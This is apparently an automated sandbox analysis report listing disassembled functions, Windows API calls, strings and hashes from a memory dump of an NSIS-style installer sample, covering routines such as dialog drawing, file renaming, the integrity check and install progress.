SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(?,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
-B@, xrefs: 004044C2
open, xrefs: 004044C5

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEdit, xrefs: 00403AF9
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEdit20W, xrefs: 00403AEA, 00403AF0
_Nb, xrefs: 00403A22, 00403A8A
RichEd20, xrefs: 00403ACC
.exe, xrefs: 004039AC
RichEd32, xrefs: 00403ADA

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,?,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,75573420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,75573420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,75573420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

(*B, xrefs: 00402E7C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
soft, xrefs: 00402EDC
Null, xrefs: 00402EE5
Error launching installer, xrefs: 00402E3E
Inst, xrefs: 00402ED3

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,755723A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,?,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402870 Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GlobalAlloc.KERNEL32(?,?), ref: 00402894
CloseHandle.KERNEL32(?), ref: 00402914

